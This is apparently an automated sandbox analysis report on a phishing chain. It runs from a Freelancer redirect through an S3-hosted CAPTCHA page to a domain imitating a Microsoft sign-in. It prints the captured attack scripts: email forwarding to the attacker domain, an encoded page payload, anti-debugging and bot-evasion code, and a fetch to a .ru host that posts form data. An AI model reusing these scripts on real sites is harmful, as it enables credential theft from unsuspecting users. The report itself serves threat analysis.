https://yukuvxhtrnk0wchufr84hll2yb3zr67modguzupwm5gejc6icniahh6eam4.bfcgpixdwnw.ru/OtSkvjmchSsJEGhrbseuEqPeaTIvXYqHHGMEEXULSOCDGARUJMFMHTNHTUGWY	false	Avira URL Cloud: malware	unknown
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638690302167189433.MjBiYzI4OWQtNjJkMi00ZDEzLWJhZWMtYTI3MjkzMDYyNWZmNWU2N2Q0NGQtZTVjOS00MzBhLWFjZDktYjc0MWUyZjQ2MDJi&ui_locales=en-US&mkt=en-US&client-request-id=40d02969-280b-45e6-a166-c4912bb94848&state=kxrMpL7fTs_z8Ruf-VpMiiJs_-djrN2IK7_cmeqErsTi_Bj-nV2rN1SYGpnIW4hEshtenFK1fmcqDMwkYlCoSj5HBY2qCnvshfYXxkcpiGfyvRpuEl6QyfgAjGfHeXXYnH0v4JaflR1YmqL9swcsdNWURQc1VHsKn3yyxgclDnLiTlaFNtudNaKhCqqcRPWgramPD8SVcIccp8mD2JUi9JLHGhNEhe5PX_tDri-9-ZXGdqvc57s0bvjLMow_iFXaSCaWTqNZYwNvTFseU-KSM1PRXGt24JUqzK_5wVNhgw7Ff01C0ZySexrVhRAZ-y_kMwQMhUPzXKtAG_yFvHVncw&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://www.freelancer.com/users/login-quick.php?token=02fff9bf9f8b7efe683f539f10a258726ae01239eb8f0b9b57526578d393fc63&url=https%3A%2F%2Fwww.google.com.bn%2Furl%3Ffnc%3Da9XTEoexMBpyPYn99soX%26ndp%3Dm6lKEDZMuBIQeZn7RBkX%26sa%3Dt%26pfuv%3DBY2IJKbokHGBEdfDSRyz%26ncbe%3DtA02sXUJ4dkStFSKl5Bg%26db%3DoBemf3zEg5VOxgJRxd3H%26fg%3DSSndprYXntqQtLjEHziw%26url%3Damp%252Ffileshareinfoviewnow.s3-website.us-east-2.amazonaws.com&user_id=1719536768&uniqid=76018695-412152-662ef280-88c3b518&linkid=6	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/8ed70eb9892b182d/1733433393196/5e09f65230dd9f46abe104a682db300e44e94132a9ace4d53e6c37e26f62d537/ZwJbetfr46IcsT5	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ed70eb9892b182d&lang=auto	false		high
https://es.ineffable9.com/favicon.ico	false	Avira URL Cloud: malware	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/t2aqf/0x4AAAAAAAypj9TgMI1HPmLv/auto/fbE/normal/auto/	false		high
http://fileshareinfoviewnow.s3-website.us-east-2.amazonaws.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://es.ineffable9.com/7GbZu6Idv_m2at7xgNmWkk/	true		unknown
http://fileshareinfoviewnow.s3-website.us-east-2.amazonaws.com/	false		unknown
https://challenges.cloudflare.com/turnstile/v0/b/a6e12e96a2d5/api.js	false		high
https://aadcdn.msftauth.net/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js	false		high
https://a.nel.cloudflare.com/report/v4?s=fqKH%2BfBdlK6H9SxzLOkq%2BqHj1aDG%2B9Nyqi0L9prj2hCH7ohoKwxWdHAAHBJLxxOV%2BBXV0yVNc%2BiDCgfhwt%2F%2FJ5yCtv9SkCeqa0A8utw4iw78skKJCdbdz4qPu6dTFg%3D%3D	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://login.microsoftonline.com	chromecache_80.2.dr, chromecache_71.2.dr	false	high
http://www.opensource.org/licenses/mit-license.php)	chromecache_76.2.dr, chromecache_110.2.dr	false	high
http://knockoutjs.com/	chromecache_76.2.dr, chromecache_110.2.dr	false	high
https://github.com/douglascrockford/JSON-js	chromecache_76.2.dr, chromecache_110.2.dr	false	high
https://login.windows-ppe.net	chromecache_80.2.dr, chromecache_71.2.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.21.43.181	es.ineffable9.com	United States	13335	CLOUDFLARENETUS	true
104.19.230.21	hcaptcha.com	United States	13335	CLOUDFLARENETUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
172.67.189.38	yukuvxhtrnk0wchufr84hll2yb3zr67modguzupwm5gejc6icniahh6eam4.bfcgpixdwnw.ru	United States	13335	CLOUDFLARENETUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.21.65.72	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
151.101.2.114	freelancer.map.fastly.net	United States	54113	FASTLYUS	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
3.5.128.104	s3-website.us-east-2.amazonaws.com	United States	16509	AMAZON-02US	false

Private

IP
192.168.2.23

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1569590
Start date and time:	2024-12-05 22:14:59 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://www.freelancer.com/users/login-quick.php?token=02fff9bf9f8b7efe683f539f10a258726ae01239eb8f0b9b57526578d393fc63&url=https%3A%2F%2Fwww.google.com.bn%2Furl%3Ffnc%3Da9XTEoexMBpyPYn99soX%26ndp%3Dm6lKEDZMuBIQeZn7RBkX%26sa%3Dt%26pfuv%3DBY2IJKbokHGBEdfDSRyz%26ncbe%3DtA02sXUJ4dkStFSKl5Bg%26db%3DoBemf3zEg5VOxgJRxd3H%26fg%3DSSndprYXntqQtLjEHziw%26url%3Damp%252Ffileshareinfoviewnow.s3-website.us-east-2.amazonaws.com&user_id=1719536768&uniqid=76018695-412152-662ef280-88c3b518&linkid=6
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal52.win@23/68@44/16

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 172.217.19.238, 64.233.161.84, 172.217.17.78, 172.217.17.46, 13.107.6.156, 20.190.177.83, 20.190.147.6, 20.190.147.1, 20.190.177.84, 20.190.177.20, 20.190.177.148, 20.190.147.10, 20.190.147.3, 172.217.17.67, 20.190.147.4, 20.190.177.146, 20.190.177.85, 20.190.147.0, 20.190.147.11, 20.190.147.9, 20.190.147.12, 20.190.147.7, 20.190.177.23, 20.190.177.147, 172.217.19.234, 172.217.21.42, 142.250.181.106, 142.250.181.74, 142.250.181.138, 172.217.17.42, 172.217.19.170, 172.217.17.74, 172.217.19.202, 172.217.19.10, 216.58.208.234
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, home-office365-com.b-0004.b-msedge.net, ak.privatelink.msidentity.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, login.live.com, update.googleapis.com, login.mso.msidentity.com, www.tm.ak.prd.aadg.trafficmanager.net, prdv4a.aadg.msidentity.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, aadcdnoriginwus2.azureedge.net, www.tm.v4.a.prd.aadg.akadns.net, b-0004.b-msedge.net, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://www.freelancer.com/users/login-quick.php?token=02fff9bf9f8b7efe683f539f10a258726ae01239eb8f0b9b57526578d393fc63&url=https%3A%2F%2Fwww.google.com.bn%2Furl%3Ffnc%3Da9XTEoexMBpyPYn99soX%26ndp%3Dm6lKEDZMuBIQeZn7RBkX%26sa%3Dt%26pfuv%3DBY2IJKbokHGBEdfDSRyz%26ncbe%3DtA02sXUJ4dkStFSKl5Bg%26db%3DoBemf3zEg5VOxgJRxd3H%26fg%3DSSndprYXntqQtLjEHziw%26url%3Damp%252Ffileshareinfoviewnow.s3-website.us-east-2.amazonaws.com&user_id=1719536768&uniqid=76018695-412152-662ef280-88c3b518&linkid=6

Input	Output
URL: https://www.freelancer.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://www.freelancer.com
URL: http://fileshareinfoviewnow.s3-website.us-east-2.amazonaws.com/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Complete the CAPTCHA to Proceed", "prominent_button_name": "Submit", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: http://fileshareinfoviewnow.s3-website.us-east-2.a... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "High risk due to: 1) Suspicious redirect to non-standard domain (ineffable9.com) (+3), 2) URL parameter manipulation and potential data exfiltration by passing email to external domain (+3), 3) Domain appears suspicious and non-standard (+2). The script appears designed to capture and redirect user email information to an external domain that doesn't follow standard naming conventions, suggesting potential phishing or data harvesting." }
// Get the email from the URL parameter (you can dynamically grab it from your email sender system) const urlParams = new URLSearchParams(window.location.search); const email = urlParams.get('email') \|\| ''; // Use the email passed in the URL or fallback function handleSubmit() { var redirectUrl = " https://es.ineffable9.com/7GbZu6Idv_m2at7xgNmWkk/" + encodeURIComponent(email); window.location.href = redirectUrl; return false; // Prevent default form submission }
URL: https://es.ineffable9.com/7GbZu6Idv_m2at7xgNmWkk/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Validating your browser to safeguard your connection.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://es.ineffable9.com/7GbZu6Idv_m2at7xgNmWkk/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Validating your browser to safeguard your connection.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://es.ineffable9.com/7GbZu6Idv_m2at7xgNmWkk/... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "High-risk script with multiple red flags: uses atob() for obfuscation, contains encoded malicious payload, attempts to prevent debugging (blocks dev tools shortcuts), disables context menu, includes anti-automation checks (webdriver detection), and appears to write potentially malicious content to document using document.write(). The encoded URL and behavior patterns are consistent with phishing or malware delivery." }
if(atob("aHR0cHM6Ly9lcy5pbmVmZmFibGU5LmNvbS83R2JadTZJZHZfbTJhdDd4Z05tV2trLw==") == "nomatch"){ document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNlZlhKZkVMeVBOIGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI2VmWEpmRUx5UE4gaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI2VmWEpmRUx5UE4gaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojZWZYSmZFTHlQTiBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI2VmWEpmRUx5UE4uY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMTAwcHg7Lyp3aWR0aDogMTAwJTsqL3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpbmctbGVmdDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7bWFyZ2luLXJpZ2h0OiBhdXRvO21hcmdpbi1sZWZ0OiBhdXRvO30NCiNlZlhKZkVMeVBOIC50ZXh0LWNlbnRlciB7dGV4dC1hbGlnbjogY2VudGVyIWltcG9ydGFudDt9DQpAbWVkaWEgKG1pbi13aWR0aDo5OTJweCl7DQojZWZYSmZFTHlQTiAuY29sLWxnLTR7ZmxleDowIDAgYXV0bzt3aWR0aDozMy4zMzMzMzMzMyU7fQ0KfQ0KI2VmWEpmRUx5UE4gLmRpc3BsYXktNCB7Zm9udC1zaXplOiAxLjI1cmVtIWltcG9ydGFudDt9DQojZWZYSmZFTHlQTiAubXQtMiB7bWFyZ2luLXRvcDogMC41cmVtIWltcG9ydGFudDt9DQojZWZYSmZFTHlQTiAuaDQge2ZvbnQtc2l6ZTogY2FsYyguOTAwcmVtICsgLjN2dyk7fQ0KI2VmWEpmRUx5UE4gLmp1c3RpZnktY29udGVudC1jZW50ZXJ7anVzdGlmeS1jb250ZW50OmNlbnRlciFpbXBvcnRhbnQ7fQ0KI2VmWEpmRUx5UE4ubXQtNXttYXJnaW4tdG9wOjNyZW0haW1wb3J0YW50O30NCiNlZlhKZkVMeVBOIC5tdC00IHttYXJnaW4tdG9wOiAxcmVtIWltcG9ydGFudDt9DQojZWZYSmZFTHlQTiAjdVNuY010dXZ1VyB7Y29sb3I6ICM2Yzc1N2Q7Zm9udC1zaXplOjE0cHg7bWFyZ2luLXRvcDogLjVyZW07fQ0KICAgIDwvc3R5bGU+DQogICAgPHNjcmlwdD4NCiAgICBpZiAobmF2aWdhdG9yLndlYmRyaXZlciB8fCB3aW5kb3cuY2FsbFBoYW50b20gfHwgd2luZG93Ll9waGFudG9tIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5jbHVkZXMoIkJ1cnAiKSkgew0KICAgICAgICB3aW5kb3cubG9jYXRpb24gPSAiYWJvdXQ6YmxhbmsiOw0KfQ0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgaWYgKGV2ZW50LmtleUNvZGUgPT09IDEyMykgew0KICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NCkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzUpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDcyKSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5hbHRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA2NykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gODUpDQogICAgKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQp9KTsNCmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NvbnRleHRtZW51JywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgIHJldHVybiBmYWxzZTsNCn0pOw0KKGZ1bmN0aW9uIGFqTEZheUViVG8oKSB7DQogICAgbGV0IHpDV2NsVUZrVVEgPSBmYWxzZTsNCiAgICBjb25zdCB1bHFMUHJLWlBUID0gMTAwOw0KICAgIHNldEludGVydmFsKGZ1bmN0aW9uKCkgew0KICAgICAgICBjb25zdCBT
URL: http://fileshareinfoviewnow.s3-website.us-east-2.amazonaws.com/ Model: Joe Sandbox AI	{ "brands": [] }
	{ "brands": [] }
URL: https://es.ineffable9.com/7GbZu6Idv_m2at7xgNmWkk/... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "High-risk script showing multiple suspicious behaviors: 1) Makes request to suspicious Russian domain (.ru) with extremely long hostname (+3), 2) Contains obfuscated/encoded-looking variable names and paths (+3), 3) Performs redirects to excel.office.com as a fallback, potentially masking malicious activity (+2), 4) Handles form submission with potential data exfiltration (+2). While it references legitimate service (office.com), the overall pattern suggests credential harvesting or phishing attempt." }
turnstile.render('#cf', { sitekey: '0x4AAAAAAAypj9TgMI1HPmLv', 'error-callback': OPQYIXUjsa, callback: QKxWhSYVGD, }); function OPQYIXUjsa() { turnstile.reset(); } function QKxWhSYVGD() { var ZkPmcuVmgK = document.getElementById("NzLnvkhghH"); ZkPmcuVmgK.onsubmit = function (event) { event.preventDefault(); }; document.getElementById("pagelink").value = 'MaH9'; var zGayFczWYs = "../sdDN9wYEQXHwpYESseVikGrddPSXMZ37m"; fetch('https://YukuVXHtRnK0wChufR84hlL2yb3zR67ModGUzupWm5GeJC6ICNIaHH6eAM4.bfcgpixdwnw.ru/OtSkvjmchSsJEGhrbseuEqPeaTIvXYqHHGMEEXULSOCDGARUJMFMHTNHTUGWY', { method: "GET", }).then(response => { return response.text() }).then(text => { if(text == 0){ fetch(zGayFczWYs, { method: "POST", body: new FormData(ZkPmcuVmgK) }).then(response => { return response.json(); }).then(data => { if(data['status'] == 'success'){ location.reload(); } if(data['status'] == 'error'){ window.location.replace('https://excel.office.com'); } }); } if(text != 0){ window.location.replace('https://excel.office.com'); } }) .catch(error => { window.location.replace('https://excel.office.com'); }); }
URL: https://es.ineffable9.com/7GbZu6Idv_m2at7xgNmWkk/... Model: Joe Sandbox AI	{ "risk_score": 5, "reasoning": "Script implements anti-debugging and anti-inspection measures (blocks dev tools, disables right-click, detects automation tools) and includes obfuscated variable names. While it redirects to a legitimate domain (excel.office.com), the aggressive anti-debugging behavior and obfuscation suggest potential attempts to hide functionality. However, these techniques are also commonly used in legitimate DRM and content protection scenarios." }
if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank"; } document.addEventListener('keydown', function(event) { if (event.keyCode === 123) { event.preventDefault(); return false; } if ( (event.ctrlKey && event.keyCode === 85) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 73) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 67) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 74) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 75) \|\| (event.ctrlKey && event.keyCode === 72) \|\| (event.metaKey && event.altKey && event.keyCode === 73) \|\| (event.metaKey && event.altKey && event.keyCode === 67) \|\| (event.metaKey && event.keyCode === 85) ) { event.preventDefault(); return false; } }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); return false; }); (function ajLFayEbTo() { let zCWclUFkUQ = false; const ulqLPrKZPT = 100; setInterval(function() { const SugeHCiEet = performance.now(); debugger; const TCIagDiSBr = performance.now(); if (TCIagDiSBr - SugeHCiEet > ulqLPrKZPT && !zCWclUFkUQ) { zCWclUFkUQ = true; window.location.replace('https://excel.office.com'); } }, 1000); })();
URL: https://es.ineffable9.com/7GbZu6Idv_m2at7xgNmWkk/ Model: Joe Sandbox AI	{ "brands": [] }
	{ "brands": [] }
URL: https://es.ineffable9.com/7GbZu6Idv_m2at7xgNmWkk/ Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2 Model: Joe Sandbox AI	{ "brands": [ "Terms of use", "Privacy & cookies" ] }
	{ "brands": [ "Terms of use", "Privacy & cookies" ] }
URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign in", "prominent_button_name": "Next", "text_input_field_labels": [ "qpnk8h@rdik.co" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 17 x 84, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.035372245524405
Encrypted:	false
SSDEEP:	3:yionv//thPl8zlG/uv1xl/k4E08up:6v/lhP6I/u97Tp
MD5:	4949A2CADA482A54CF9AF8719C4B8A96
SHA1:	F5197038B1F60D3809AF3FD1CA70E208F1BFBCA6
SHA-256:	E596BF7755E47007A7E70F11CB150615C43F5BAFAB081C82EA3B29085F3F598F
SHA-512:	26CC723BDCBE2D6C656CBCA0FBD4544F4C2A566680F38F5E3B45A0F4A894685140E4E46503AF174CF25B16A36235A6D0DA11952C97B23D12DB26E76659E3F982
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......T......Kr....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 17 x 84, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.035372245524405
Encrypted:	false
SSDEEP:	3:yionv//thPl8zlG/uv1xl/k4E08up:6v/lhP6I/u97Tp
MD5:	4949A2CADA482A54CF9AF8719C4B8A96
SHA1:	F5197038B1F60D3809AF3FD1CA70E208F1BFBCA6
SHA-256:	E596BF7755E47007A7E70F11CB150615C43F5BAFAB081C82EA3B29085F3F598F
SHA-512:	26CC723BDCBE2D6C656CBCA0FBD4544F4C2A566680F38F5E3B45A0F4A894685140E4E46503AF174CF25B16A36235A6D0DA11952C97B23D12DB26E76659E3F982
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8ed70eb9892b182d/1733433393199/YnxHomZDnCCubfr
Preview:	.PNG........IHDR.......T......Kr....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
